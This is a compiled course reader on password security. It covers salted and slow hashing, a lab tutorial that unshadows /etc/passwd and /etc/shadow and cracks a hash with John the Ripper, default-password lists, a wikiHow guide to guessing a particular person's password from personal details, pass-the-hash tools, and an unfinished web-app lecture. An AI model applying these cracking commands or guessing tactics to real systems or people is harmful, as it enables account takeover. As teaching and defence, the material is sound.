Rainbow tables are a time-memory trade-off technique. They are like lookup tables,
except that they sacrifice hash cracking speed to make the lookup tables smaller.
Because they are smaller, the solutions to more hashes can be stored in the same
amount of space, making them more effective. Rainbow tables that can crack any md5
hash of a password up to 8 characters long exist.

Next, we'll look at a technique called salting, which makes it impossible to use lookup tables
and rainbow tables to crack a hash.

Adding Salt
hash("hello") =
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
hash("hello" + "QxLUF1bgIAdeQX") =
9e209040c863f84a31e719795b2577523954739fe5ed3b58a75cff2127075ed1
hash("hello" + "bv5PehSMfV11Cd") =
d1d3ec2e6f20fd420d50e2642992841d8338a314b8ea157c9e18477aaef226ab
hash("hello" + "YYLmfY6IehjZMQ") =
a49670c3c18b9e079b9cfaf51634f563dc8ae3070db2c4a8544305df1b60f007

Lookup tables and rainbow tables only work because each password is hashed the exact
same way. If two users have the same password, they'll have the same password hashes.
We can prevent these attacks by randomizing each hash, so that when the same password
is hashed twice, the hashes are not the same.

We can randomize the hashes by appending or prepending a random string, called a salt, to
the password before hashing. As shown in the example above, this makes the same
password hash into a completely different string every time. To check if a password is
correct, we need the salt, so it is usually stored in the user account database along with the
hash, or as part of the hash string itself.

The salt does not need to be secret. Just by randomizing the hashes, lookup tables, reverse
lookup tables, and rainbow tables become ineffective. An attacker won't know in advance
what the salt will be, so they can't pre-compute a lookup table or rainbow table. If each
user's password is hashed with a different salt, the reverse lookup table attack won't work
either.

In the next section, we'll look at how salt is commonly implemented incorrectly.

The WRONG Way: Short Salt & Salt Reuse

The most common salt implementation errors are reusing the same salt in multiple hashes,
or using a salt that is too short.

Salt Reuse

A common mistake is to use the same salt in each hash. Either the salt is hard-coded into
the program, or is generated randomly once. This is ineffective because if two users have
the same password, they'll still have the same hash. An attacker can still use a reverse
lookup table attack to run a dictionary attack on every hash at the same time. They just
have to apply the salt to each password guess before they hash it. If the salt is hard-coded
into a popular product, lookup tables and rainbow tables can be built for that salt, to make
it easier to crack hashes generated by the product.

A new random salt must be generated each time a user creates an account or changes their
password.

Short Salt

If the salt is too short, an attacker can build a lookup table for every possible salt. For
example, if the salt is only three ASCII characters, there are only 95x95x95 = 857,375
possible salts. That may seem like a lot, but if each lookup table contains only 1MB of the
most common passwords, collectively they will be only 837GB, which is not a lot considering
1000GB hard drives can be bought for under $100 today.

For the same reason, the username shouldn't be used as a salt. Usernames may be unique
to a single service, but they are predictable and often reused for accounts on other services.
An attacker can build lookup tables for common usernames and use them to crack
username-salted hashes.

To make it impossible for an attacker to create a lookup table for every possible salt, the
salt must be long. A good rule of thumb is to use a salt that is the same size as the output
of the hash function. For example, the output of SHA256 is 256 bits (32 bytes), so the salt
should be at least 32 random bytes.

The WRONG Way: Double Hashing & Wacky Hash Functions

This section covers another common password hashing misconception: wacky combinations
of hash algorithms. It's easy to get carried away and try to combine different hash
functions, hoping that the result will be more secure. In practice, though, there is very little
benefit to doing it. All it does is create interoperability problems, and can sometimes even
make the hashes less secure. Never try to invent your own crypto, always use a standard
that has been designed by experts. Some will argue that using multiple hash functions
makes the process of computing the hash slower, so cracking is slower, but there's a better
way to make the cracking process slower as we'll see later.

Here are some examples of poor wacky hash functions I've seen suggested in forums on the
internet.

 md5(sha1(password))
 md5(md5(salt) + md5(password))
 sha1(sha1(password))
 sha1(str_rot13(password + salt))
 md5(sha1(md5(md5(password) + sha1(password)) + md5(password)))

Do not use any of these.

Note: This section has proven to be controversial. I've received a number of emails arguing
that wacky hash functions are a good thing, because it's better if the attacker doesn't know
which hash function is in use, it's less likely for an attacker to have pre-computed a rainbow
table for the wacky hash function, and it takes longer to compute the hash function.

An attacker cannot attack a hash when he doesn't know the algorithm, but
note Kerckhoffs's principle, that the attacker will usually have access to the source code
(especially if it's free or open source software), and that given a few password-hash pairs
from the target system, it is not difficult to reverse engineer the algorithm. It does take
longer to compute wacky hash functions, but only by a small constant factor. It's better to
use an iterated algorithm that's designed to be extremely hard to parallelize (these are
discussed below). And, properly salting the hash solves the rainbow table problem.

If you really want to use a standardized "wacky" hash function like HMAC, then it's OK. But
if your reason for doing so is to make the hash computation slower, read the section below
about key stretching first.

Compare these minor benefits to the risks of accidentally implementing a completely

insecure hash function and the interoperability problems wacky hashes create. It's clearly
best to use a standard and well-tested algorithm.

Hash Collisions

Because hash functions map arbitrary amounts of data to fixed-length strings, there must
be some inputs that hash into the same string. Cryptographic hash functions are designed
to make these collisions incredibly difficult to find. From time to time, cryptographers find
"attacks" on hash functions that make finding collisions easier. A recent example is the MD5
hash function, for which collisions have actually been found.

Collision attacks are a sign that it may be more likely for a string other than the user's
password to have the same hash. However, finding collisions in even a weak hash function
like MD5 requires a lot of dedicated computing power, so it is very unlikely that these
collisions will happen "by accident" in practice. A password hashed using MD5 and salt is,
for all practical purposes, just as secure as if it were hashed with SHA256 and salt.
Nevertheless, it is a good idea to use a more secure hash function like SHA256, SHA512,
RipeMD, or WHIRLPOOL if possible.

The RIGHT Way: How to Hash Properly

This section describes exactly how passwords should be hashed. The first subsection covers
the basics—everything that is absolutely necessary. The following subsections explain how
the basics can be augmented to make the hashes even harder to crack.

The Basics: Hashing with Salt

Warning: Do not just read this section. You absolutely must implement the stuff in
the next section: "Making Password Cracking Harder: Slow Hash Functions".

We've seen how malicious hackers can crack plain hashes very quickly using lookup tables
and rainbow tables. We've learned that randomizing the hashing using salt is the solution to
the problem. But how do we generate the salt, and how do we apply it to the password?

Salt should be generated using a Cryptographically Secure Pseudo-Random Number

Generator (CSPRNG). CSPRNGs are very different than ordinary pseudo-random number
generators, like the "C" language's rand() function. As the name suggests, CSPRNGs are
designed to be cryptographically secure, meaning they provide a high level of randomness
and are completely unpredictable. We don't want our salts to be predictable, so we must
use a CSPRNG. The following table lists some CSPRNGs that exist for some popular
programming platforms.

Platform CSPRNG

PHP mcrypt_create_iv, openssl_random_pseudo_bytes

Java java.security.SecureRandom

Dot NET (C#, VB) System.Security.Cryptography.RNGCryptoServiceProvider

Ruby SecureRandom

Python os.urandom

Perl Math::Random::Secure

C/C++ (Windows API) CryptGenRandom

Any language on
Read from /dev/random or /dev/urandom
GNU/Linux or Unix

The salt needs to be unique per-user per-password. Every time a user creates an account or
changes their password, the password should be hashed using a new random salt. Never
reuse a salt. The salt also needs to be long, so that there are many possible salts. As a rule
of thumb, make your salt is at least as long as the hash function's output. The salt should
be stored in the user account table alongside the hash.

To Store a Password

1. Generate a long random salt using a CSPRNG.

2. Prepend the salt to the password and hash it with a standard password hashing
function like Argon2, bcrypt, scrypt, or PBKDF2.
3. Save both the salt and the hash in the user's database record.
To Validate a Password

1. Retrieve the user's salt and hash from the database.

2. Prepend the salt to the given password and hash it using the same hash function.
3. Compare the hash of the given password with the hash from the database. If they
match, the password is correct. Otherwise, the password is incorrect.
In a Web Application, always hash on the server

If you are writing a web application, you might wonder where to hash. Should the password
be hashed in the user's browser with JavaScript, or should it be sent to the server "in the
clear" and hashed there?
Even if you are hashing the user's passwords in JavaScript, you still have to hash the
hashes on the server. Consider a website that hashes users' passwords in the user's
browser without hashing the hashes on the server. To authenticate a user, this website will
accept a hash from the browser and check if that hash exactly matches the one in the
database. This seems more secure than just hashing on the server, since the users'
passwords are never sent to the server, but it's not.

The problem is that the client-side hash logically becomes the user's password. All the user
needs to do to authenticate is tell the server the hash of their password. If a bad guy got a
user's hash they could use it to authenticate to the server, without knowing the user's
password! So, if the bad guy somehow steals the database of hashes from this hypothetical
website, they'll have immediate access to everyone's accounts without having to guess any
passwords.

This isn't to say that you shouldn't hash in the browser, but if you do, you absolutely have
to hash on the server too. Hashing in the browser is certainly a good idea, but consider the
following points for your implementation:

 Client-side password hashing is not a substitute for HTTPS (SSL/TLS). If the connection
between the browser and the server is insecure, a man-in-the-middle can modify the
JavaScript code as it is downloaded to remove the hashing functionality and get the
user's password.
 Some web browsers don't support JavaScript, and some users disable JavaScript in
their browser. So for maximum compatibility, your app should detect whether or not
the browser supports JavaScript and emulate the client-side hash on the server if it
doesn't.
 You need to salt the client-side hashes too. The obvious solution is to make the client-
side script ask the server for the user's salt. Don't do that, because it lets the bad guys
check if a username is valid without knowing the password. Since you're hashing and
salting (with a good salt) on the server too, it's OK to use the username (or email)
concatenated with a site-specific string (e.g. domain name) as the client-side salt.

Making Password Cracking Harder: Slow Hash Functions

Salt ensures that attackers can't use specialized attacks like lookup tables and rainbow
tables to crack large collections of hashes quickly, but it doesn't prevent them from running
dictionary or brute-force attacks on each hash individually. High-end graphics cards (GPUs)
and custom hardware can compute billions of hashes per second, so these attacks are still
very effective. To make these attacks less effective, we can use a technique known as key
stretching.

The idea is to make the hash function very slow, so that even with a fast GPU or custom
hardware, dictionary and brute-force attacks are too slow to be worthwhile. The goal is to
make the hash function slow enough to impede attacks, but still fast enough to not cause a
noticeable delay for the user.

Key stretching is implemented using a special type of CPU-intensive hash function. Don't try
to invent your own–simply iteratively hashing the hash of the password isn't enough as it
can be parallelized in hardware and executed as fast as a normal hash. Use a standard
algorithm like PBKDF2 or bcrypt. You can find a PHP implementation of PBKDF2 here.

These algorithms take a security factor or iteration count as an argument. This value
determines how slow the hash function will be. For desktop software or smartphone apps,
the best way to choose this parameter is to run a short benchmark on the device to find the
value that makes the hash take about half a second. This way, your program can be as
secure as possible without affecting the user experience.
If you use a key stretching hash in a web application, be aware that you will need extra
computational resources to process large volumes of authentication requests, and that key
stretching may make it easier to run a Denial of Service (DoS) attack on your website. I still
recommend using key stretching, but with a lower iteration count. You should calculate the
iteration count based on your computational resources and the expected maximum
authentication request rate. The denial of service threat can be eliminated by making the
user solve a CAPTCHA every time they log in. Always design your system so that the
iteration count can be increased or decreased in the future.

If you are worried about the computational burden, but still want to use key stretching in a
web application, consider running the key stretching algorithm in the user's browser with
JavaScript. The Stanford JavaScript Crypto Library includes PBKDF2. The iteration count
should be set low enough that the system is usable with slower clients like mobile devices,
and the system should fall back to server-side computation if the user's browser doesn't
support JavaScript. Client-side key stretching does not remove the need for server-side
hashing. You must hash the hash generated by the client the same way you would hash a
normal password.

Impossible-to-crack Hashes: Keyed Hashes and Password Hashing Hardware

As long as an attacker can use a hash to check whether a password guess is right or wrong,
they can run a dictionary or brute-force attack on the hash. The next step is to add
a secret key to the hash so that only someone who knows the key can use the hash to
validate a password. This can be accomplished two ways. Either the hash can be encrypted
using a cipher like AES, or the secret key can be included in the hash using a keyed hash
algorithm like HMAC.

This is not as easy as it sounds. The key has to be kept secret from an attacker even in the
event of a breach. If an attacker gains full access to the system, they'll be able to steal the
key no matter where it is stored. The key must be stored in an external system, such as a
physically separate server dedicated to password validation, or a special hardware device
attached to the server such as the YubiHSM.

I highly recommend this approach for any large scale (more than 100,000 users) service. I
consider it necessary for any service hosting more than 1,000,000 user accounts.

If you can't afford multiple dedicated servers or special hardware devices, you can still get
some of the benefits of keyed hashes on a standard web server. Most databases are
breached using SQL Injection Attacks, which, in most cases, don't give attackers access to
the local filesystem (disable local filesystem access in your SQL server if it has this feature).
If you generate a random key and store it in a file that isn't accessible from the web, and
include it into the salted hashes, then the hashes won't be vulnerable if your database is
breached using a simple SQL injection attack. Don't hard-code a key into the source code,
generate it randomly when the application is installed. This isn't as secure as using a
separate system to do the password hashing, because if there are SQL injection
vulnerabilities in a web application, there are probably other types, such as Local File
Inclusion, that an attacker could use to read the secret key file. But, it's better than
nothing.

Please note that keyed hashes do not remove the need for salt. Clever attackers will
eventually find ways to compromise the keys, so it is important that hashes are still
protected by salt and key stretching.

Other Security Measures

Password hashing protects passwords in the event of a security breach. It does not make
the application as a whole more secure. Much more must be done to prevent the password
hashes (and other user data) from being stolen in the first place.
Even experienced developers must be educated in security in order to write secure
applications. A great resource for learning about web application vulnerabilities is The Open
Web Application Security Project (OWASP). A good introduction is the OWASP Top Ten
Vulnerability List. Unless you understand all the vulnerabilities on the list, do not attempt to
write a web application that deals with sensitive data. It is the employer's responsibility to
ensure all developers are adequately trained in secure application development.

Having a third party "penetration test" your application is a good idea. Even the best
programmers make mistakes, so it always makes sense to have a security expert review
the code for potential vulnerabilities. Find a trustworthy organization (or hire staff) to
review your code on a regular basis. The security review process should begin early in an
application's life and continue throughout its development.

It is also important to monitor your website to detect a breach if one does occur. I
recommend hiring at least one person whose full time job is detecting and responding to
security breaches. If a breach goes undetected, the attacker can make your website infect
visitors with malware, so it is extremely important that breaches are detected and
responded to promptly.

Source: https://crackstation.net/hashing-security.htm

Offline passwords attacks with John the Ripper

John the Ripper is a free password cracking software tool. Initially developed for the Unix
operating system, it now runs on fifteen different platforms (eleven of which are
architecture-specific versions of Unix, DOS, Win32, BeOS, and OpenVMS). It is one of the
most popular password testing and breaking programs as it combines a number of password
crackers into one package, autodetects password hash types, and includes a customizable
cracker. It can be run against various encrypted password formats including several crypt
password hash types most commonly found on various Unix versions (based on DES, MD5,
or Blowfish), Kerberos AFS, and Windows NT/2000/XP/2003 LM hash. Additional modules
have extended its ability to include MD4-based password hashes and passwords stored in
LDAP, MySQL, and others. Cracking password in Kali Linux using John the Ripper is very
straight forward. In this post, I will demonstrate that.

John the Ripper is different from tools like Hydra. Hydra does blind brute-forcing by trying
username/password combinations on a service daemon like ftp server or telnet server. John
however needs the hash first. So the greater challenge for a hacker is to first get the hash
that is to be cracked. Now a days hashes are more easily crackable using free rainbow
tables available online. Just go to one of the sites, submit the hash and if the hash is made
of a common word, then the site would show the word almost instantly. Rainbow tables
basically store common words and their hashes in a large database. Larger the database,
more the words covered.

One of the modes John the Ripper can use is the dictionary attack. It takes text string
samples (usually from a file, called a wordlist, containing words found in a dictionary or real
passwords cracked before), encrypting it in the same format as the password being
examined (including both the encryption algorithm and key), and comparing the output to
the encrypted string. It can also perform a variety of alterations to the dictionary words and
try these. Many of these alterations are also used in John’s single attack mode, which
modifies an associated plaintext (such as a username with an encrypted password) and
checks the variations against the hashes.

John also offers a brute force mode. In this type of attack, the program goes through all the
possible plaintexts, hashing each one and then comparing it to the input hash. John uses
character frequency tables to try plaintexts containing more frequently used characters first.
This method is useful for cracking passwords which do not appear in dictionary wordlists,
but it takes a long time to run.

John the Ripper uses a 2 step process to cracking a password. First it will use the passwd
and shadow file to create an output file. Next, you then actually use dictionary attack
against that file to crack it. In short, John the Ripper will use the following two files:

/etc/passwd

/etc/shadow

Cracking password using John the Ripper

In Linux, password hash is

stored in /etc/shadow file. For the sake of this exercise, I will create a new user names john
and assign a simple password ‘password’ to him.
I will also add john to sudo group, assign /bin/bash as his shell. There’s a nice article I
posted last year which explains user creating in Linux in great details. It’s a good read if you
are interested to know and understand the flags and this same structure can be used to
almost any Linux/Unix/Solaris operating system. Also, when you create a user, you need
their home directories created, so yes, go through creating user in Linux post if you
have any doubts. Now, that’s enough mambo jumbo, let’s get to business.
First let’s create a user named john and assign password as his password. (very
secured..yeah!)

root@kali:~# useradd -m john -G sudo -s /bin/bash

root@kali:~# passwd john

Enter new UNIX password: <password>

Retype new UNIX password: <password>

passwd: password updated successfully

root@kali:~#

Unshadowing password
Now that we have created our victim, let’s start with unshadow commands.
The unshadow command will combine the extries of /etc/passwd and /etc/shadow to create
1 file with username and password details. When you just type in unshadow, it shows you
the usage anyway.

root@kali:~# unshadow

Usage: unshadow PASSWORD-FILE SHADOW-FILE

root@kali:~# unshadow /etc/passwd /etc/shadow > /root/johns_passwd

I’ve redirected the output to /root/johns_passwd file because I got the ticks
for organizing things. Do what you feel like here.

Cracking process with John the Ripper

At this point we just need a dictionary file and get on with cracking. John comes with it’s
own small password file and it can be located in /usr/share/john/password.lst. I’ve showed
the size of that file using the following command.

root@kali:~# ls -ltrah /usr/share/john/password.lst

You can use your own password lists too or download a large one from Internet (there’s lots
of dictionary file in terabyte size).
root@kali:~# john --wordlist=/usr/share/john/password.lst /root/johns_passwd

Created directory: /root/.john

Warning: detected hash type "sha512crypt", but the string is also recognized as
"crypt"

Use the "--format=crypt" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512
128/128 SSE2 2x])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

password (john)

1g 0:00:00:06 DONE (2015-11-06 13:30) 0.1610g/s 571.0p/s 735.9c/s 735.9C/s modem..sss

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@kali:~#
 Looks like it worked. So we can
now use john –show option to list cracked passwords. Note that it’s a simple password that
existed in the dictionary so it worked. If it wasn’t a simple password, then you would need a
much bigger dictionary and lot longer to to crack it.

root@kali:~# john --show /root/johns_passwd

john:password:1000:1001::/home/john:/bin/bash

1 password hash cracked, 1 left

root@kali:~#

John the Ripper advanced commands:

Now that we have completed the basics of John the Ripper and cracked a password using it,
it’s possibly time to move on to bigger and more complex things. For that you should check
the documentation on cracking MODES and examples of John the Ripper usage.

Source: https://www.blackmoreops.com/2015/11/10/cracking-password-in-kali-linux-using-john-the-
ripper/

Default passwords

A default password is a standard pre-configured password for a device. Such passwords are the default
configuration for many devices and, if unchanged, present a serious security risk. Typical examples of
default passwords include admin, password and guest. Furthermore, a vendor generally uses a single
default password, which can be easily found online through search or on websites that provide compiled
lists.

Default passwords are commonly used for routers, access points, switches and firewalls. They are also
common in embedded systems, industrial control systems (ICS) and remote terminal interfaces such as
Telnet and SSH.

Left unchanged, default passwords provide an easy attack vector for home network equipment; if the
owner also connects to a corporate network, that risk extends to the business as well. An attacker who
logs into a device successfully is likely to have administrative-level access.

The risk is also severe in the case of embedded systems and ICS security because these environments
were not originally intended to be accessible over the internet. However, in the burgeoning internet of
things (IoT) environment, almost anything can be made addressible and connected, and while there are
many benefits to IoT connectivity, enhanced security is not among them.
Default passwords are intended to be place holders and used only for the initial setup of hardware or
after a factory reset. The user enters the password and is usually prompted to change it as part of the
process, but not always.

To counteract the security issues of default passwords, device owners should change the default value
to a strong password when they first configure a device. Vendors can enforce that change upon first use
of the default password. Another option for the vendor is to employ secure unique default passwords.

List of online databases of default passwords:

• http://www.defaultpassword.com/
• https://cirt.net/passwords
• http://www.routerpasswords.com/
• http://www.phenoelit.org/dpl/dpl.html

Art of manual password guessing

1. Guess the most common passwords. At the end of every year, a list of the 25 most common
passwords is released. These passwords are the easiest to guess and thus the most commonly
hacked. Though you should avoid picking any of these passwords for yourself, try guessing from
this list of passwords:[1]

password

123456

12345678

abc123

qwerty

monkey

letmein

dragon

111111

baseball

iloveyou

trustno1

1234567

sunshine

master

123123

welcome

shadow

Ashley
football

Jesus

Michael

ninja

mustang

password1

2. Use some common password tricks. Other than guessing the most obvious passwords, there are
a few tricks that are used by professional password guessers. They know, for example, that
there's at least a 50% chance that a user's password will have one or more vowels. Here are a
few other tricks that you should know:[2]

If the password has a number in it, it will be usually be a 1 or a 2 and it will be at the end of the
password.

If there's a capital letter in the password, it will usually be at the beginning -- often followed by a vowel.

3. See if the password has to meet any requirements. See if the password has to be a certain
length (typically passwords have to be at least 6 characters long), and if it has to have at least
one number or one symbol or a special character. If you're not sure, you can try setting up your
own account at the site where you're trying to guess the password from, and you'll be told the
requirements of the password.
4. Ask for a hint. If the password has a "hint" option, then ask for a hint to guide you in guessing
the password. The hint question can be something like, "What is your mother's maiden name?"
or "What is the name of your first pet?" These questions can help narrow down your guessing;
though you may not know the name of the person's first pet, you can guess from a number of
pet names. Or, if you want to be extra sneaky, you can try to bring up first pets in a conversation
with that person.

The hint can narrow down your search quite a bit if you know some personal information about that
person. For example, if the question is, "Where were you born?" you may already know the person's
birth state -- or even his birth city.

5. Guess personal names. Many people, and especially women, have personal names in their
passwords. Most people wouldn't put their own names in a password, but you could try those
anyway. Here are some other names to try when you're guessing a password:
• The name of the person's significant other or spouse
• The names of the person's siblings
• The name of the person's current or favorite pet
• The name of the person's (especially a male's) favorite athlete
• The person's childhood nickname or current nickname
• Guess a Password Step 6 Version 2.jpg

6. Guess the person's hobbies and interests. You can also guess a password by thinking of the
person's hobbies or interests. Here are some tricks to try:

Try combining a man's favorite athlete with his favorite sport. For example: "Tigergolf" or "Kobebball."
Guess the name of a woman's favorite TV show, or the name of a favorite character on that show.

Guess the name of a person's favorite athletic hobby. If the person loves to swim, try "Swimmer" with
some numbers after it.

7. Guess important numbers. Many people use numbers in their password, indicating a date or a
lucky number. Some people even make their whole password consist of numbers. You can try
these numbers on their own, or add them to the end of one of the words that you guessed.
Here are some ways to guess a person's password based on numbers:
• Guess the person's birthday. For example, if the person's birthday is 12/18/75, type in
"121875" or "12181975."
• Try the person's street address. The person's street address, such as 955, could be a part of
the password.
• Try the person's lucky number. If the person has been vocal about what his lucky number is,
try it.
• If the person played a sport, try his jersey number as part of the password.
• Try a part of the person's phone number.
• Try the person's graduating class from college or high school.
8. Guess the person's favorite things. You can also guess the person's password by guessing from a
number of the person's favorite things. Here are a few favorite things to try:
• The person's favorite TV show.
• The person's favorite movie.
• The person's favorite food.
• The person's favorite book.

Source: http://www.wikihow.com/Guess-a-Password

Top passwords lists

http ://stricture-group.com/files/adobe-top100.txt

http://web.mit.edu/zyan/Public/adobe_sanitized_passwords_with_bad_hints.txt

Pass the hash attack

Password hashes are equivalent to clear-text passwords (Johansson, 2009). If the attacker manages to
obtain the hash, he can simply use it to gain access to a system without the need to know the password
used to create it. This type of attack is known as "pass-the-hash" attack.

Pass-the-hash attacks are usually directed against Windows systems, however they can be found in
other systems, for example vulnerable web applications (SANS, 2008). In Windows, pass-the-hash attack
depends on the Single Sign-On (SSO) functionality in authentication protocols like NTLM and Kerberos
(Scambray &

McClure, 2008). With SSO, users can enter their passwords once to be able to use resources they have
been given rights to, without prompting them for their passwords again. This requires the system to
have the users' credentials cached within the system (see 2.1.3). By replacing this credential with a
password hash (or a ticket) further authentication will be done using this hash instead of the original
credential (Scambray & McClure, 2008).
Password hashes are loaded into the Local Security Authority Subsystem (Lsass). Lsass runs as the
executable %SystemRoot%\System32\Lsass.exe, which is responsible for user authentication, among
other things (Russinovich, Solomon, & Ionescu, 2009). Using hash dumping tools, an attacker can dump
the passwords' hashes for further use (e.g. pass-the-hash attack). It is important to note that dumping
password hashes from the Windows SAM database or from memory requires administrative privileges.

Figure 2-3 illustrates how attackers can use password hashes in pass-the-hash attack (SANS, 2008). Note
that the described process assumes that the attacker was able to compromise the system and gain
administrative rights on it

Figure 2-3: Pass-the-hash attack in action. Courtesy of Ed Skoudis. (Skoudis, 2008)

1) The attacker obtains the hashes, by dumping passwords hashes from "Victim"
server.

2) The attacker, using pass-the-hash tools, can place one of the hashes he obtained
(preferably for a user with administrative privileges) in his local Lsass.

3) Going forward, Windows will automatically provide the new credentials on the
attacker’s behalf whenever the attacker tries to access the "Victim" server without
the need to provide a password.

Pass-the-hash eliminates the need for time consuming attacks such as password cracking or password
guessing (Johansson, 2009).

This section will discuss various tools used to facilitate pass-the-hash attack.

• Pshtoolkit
• Msvctl
• Metasploit PSEXEC module
• Tenable smbshell
• JoMo-kun (FoFus pass-the-hash patch)

• Gsecdump
• pwdump7
• Metasploit hashdump module.
Source: https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-
mitigation-33283

Chapter 5 Exploitation of Web-applications 2

Lecture 5.1 Exploitation of Web-applications
How Web-applications work
A user goes to their browser, types in a website, and hits Enter. The browser goes out and finds the
internet-facing computer that the website lives on and asks the server for the specific page. The server
responds to the request by sending some files over to the browser. The browser executes those files and
shows something (hopefully!) to the user.

The user can now visually interact with the website. The code that has been parsed by the browser may
or may not have instructions telling the browser to react to user input in various ways: from changing
what the page looks like, to reporting back to the server on what it is the user did, to getting even more
code to parse and display.

Server vs. Client Side

The main thing to take away from the last paragraph is that in a web application, there are basically two
programs running at the same time:

• The code that lives on the server and responds to HTTP requests.
• The code that lives in the browser and responds to user input.

If you’re coming from a world where software development and cat herding are two wildly different
things, you’re probably used to writing code in n < 3 && n > 0 languages, packaging it up, and then
shipping it off. That is… not the case here.

Deciding what the code on the server should do versus what the code on the browser should do are just
a few of the (hundreds of) things a web developer has to decide when they start to write their app. But
in general, server and browser decisions tend to be split up like this:

Server-Side Code

• Languages/frameworks include but are not limited to Ruby (Rails), Javascript (Node.js), Python
(Django), PHP, C#, and Java; but the list of possibilities is infinite. Any code that can run on a
computer and respond to HTTP requests can run a server.
• Stores persistent data (user profiles, instatweets, mybook pages, etc.).
• Cannot be seen by the user (unless something is terribly wrong).
• Can only respond to HTTP requests for a particular URL, not any kind of user input.
• Creates the page that the user finally sees (this is generally only true in web applications that
choose to render most of their layouts on the server).

Client-Side Code

• Languages used include: HTML, CSS, and Javascript. Nothing else. But don’t worry, there’s a
million frameworks and transpiles-to-[CSS|HTML|JS] languages to choose from (and keep
yourself updated on) anyway.
• Parsed by the user’s browser.
• Reacts to user input.
• Can be seen and edited by the user in full.
• Cannot store anything that lasts beyond a page refresh.
• Cannot read files off of a server directly, must communicate via HTTP requests.
• Creates the page that the user finally sees (this is generally only true in single page applications).

Bringing them Together

The generally accepted practice for building a web application—as in an application accessible via a
browser that mimics a desktop app, not a static website—is to have your server deliver your homepage
and handle saving and loading persistent data, based on simple messages, from the browser (aka
making a RESTful API, more on this later).

The actual GUI of your app, all the reactions to your user’s input, and everything related to changing
visual appearance are then all completely controlled by client side code. This general style of app is
called a Single Page Application. While there are some notable criticisms with it, it’s the best
architecture for anything that has to feel like a native app.

If you’re making a single-page app—which you should be, if you want an app that’s as responsive as
your typical desktop application—your backend “only” has a few concerns (heh):

storing persistent data

manipulating the persistent data (creating, updating, and deleting records)

delivering the persistent data via HTTP in a way that can be understood by the code on your frontend

manipulating the data in response to HTTP requests

authentication: a topic that could and has filled several books in its own right. This includes making sure
that the requests you’re receiving contain valid data, providing some kind of authentication for users,
and limiting what users can see and do depending on their permissions in your app.

Relational Database 101

At their cores, most web applications are built around objects—data structures that are defined as
having several named qualities. For example: a blog, at its most basic level, has Users and Posts. Each
User has several properties: username, password, bio. A post has a body, a creation date, and an author.

Parts & Pieces

Generally, these objects are stored in tables by an SQL database (your framework of choice may or may
not abstract the actual SQL away from you). Rails, which in my opinion is the most newbie-friendly of
the current server side options, calls these Models and will allow you to define them by defining a class.
But if you get your server off the ground without relying on an ORM (Object Relational Mapping, aka
something that keeps you from writing SQL queries) you’ll need to learn the nuts and bolts of
maintaining a database yourself.

Tables have a number of predefined columns. Columns are typed; think variable types like int, doubles,
strings (specifics will vary based on the specific SQL database you choose). Columns can have indexes on
them that further constrain what values are present there: whether or not the column can be null,
whether or not the value in that column can appear in any other row in that same column in the entire
table, whether or not the values in that column need to be present in another column of another table.

If it’s not already clear, each row in your table is a particular record. All tables should (this is going to be
up to you to enforce) have a primary key column, usually named “id”, with a single, unique number that
serves as an identifier for that particular row of data. Every column in the table can be mutable, except
for that one.

Relationships
The key to relational databases is, not surprisingly, relations. Going back to our worn out blog example,
let’s talk about posts. Each post has an author. An author can write multiple posts, but only one user can
publish a post at a time. This is called a one-to-many relationship—one user for many posts—and is easy
to represent with a relational database model. Simply create a column in your posts table named
author_id. Store the id of the User who authored your post there.

For example, let’s say that Oscar is the only user of your blog (ouch!). He has an id of 1. He makes a
couple of posts, each of which has its own id (preferably generated by the database itself). The posts
also have a column called author_id, and for each of them the column contains 1. That makes it easy to
connect posts back to their authors, and makes it easy to do things such as “get all the posts by Oscar”
and “Find all the posts written by someone who registered this May”.

(In case the above wasn’t as clear as mud: there are alternatives to storing persistent data beyond the
relational table/column methods of SQL. Google “noSQL” if you’re interested in more. There are also
other types of relationships, such as many-to-many, that require more complex structures to relate row
A to row B.)

Creating an API

Some quick background knowledge: It’s possible to make an HTTP request using different verbs—that is,
it’s possible to make multiple different types of requests to a particular URL, all other things being equal.
There are four HTTP verbs: GET, PUT, POST, and DELETE. All requests made via your browser’s address
bar are GET requests, but it’s possible to use all four verbs using JavaScript.

A true RESTful API has a stringent definition that I’m not going to delve into here—I’d recommend
starting your reading with this excellent StackOverflow answer if you’re interested in the details—but in
general, an API is a server with endpoints structured around the resources in your web application’s
data model that respond to each of the four HTTP verbs in predefined ways. The server itself is
stateless—a given request will receive the same response, every time. (A true RESTful API should also
return metadata revealing all of its endpoints and their locations. Ironically, most so-called “RESTful”
APIs don’t meet the stringent definition of what RESTful means, because they don’t return any of that
metadata—but that’s a bit out of scope for this post.)

The endpoints (URLs) are structured based around resources—those same models that you’ve distilled
into your database:

<resource>/: A collection of a particular resource.

<resource>/<resource id>/: The resource with a particular id.

These resources can then be nested. For example, users/22/posts/ would refer to all the posts belonging
to the user with an id of 22.

These endpoints are then combined with the various HTTP verbs to have the following meanings:

GET: Give me information about this resource.

POST: I’m creating a new resource of this type.

UPDATE: I’m modifying a resource.

DELETE: I’m deleting a resource.

It goes back to what I was talking about in the relational database section—in most cases you should be
thinking of (and structuring) your backend in terms of your data model. Endpoints without an id (for
example, posts/ for a typical microblog) refer to all of the objects in that collection. Whereas endpoints
with an id, such as posts/42/, refer to the specific object in the collection with that id.

All of the HTTP verbs are interpreted by the API as acting upon the object(s) specified by the URL. So, an
API would respond to GET posts/ with a collection of information about every post; GET posts/42/ would
respond with information about post #42, specifically; PUT posts/42/ would update that post to have
the new text described in the request; POST posts/ would create a new post entirely; and DELETE
posts/42/ would delete that same item.

The benefit of structuring your server like this is that the same backend can support web and mobile
simultaneously, and your backend is completely divorced from all of your UI. Separation of concerns
makes maintaining your database exponentially easier. Most of the truly terrible web application code
out there is terrible because the same function that adds users to the database also handles generating
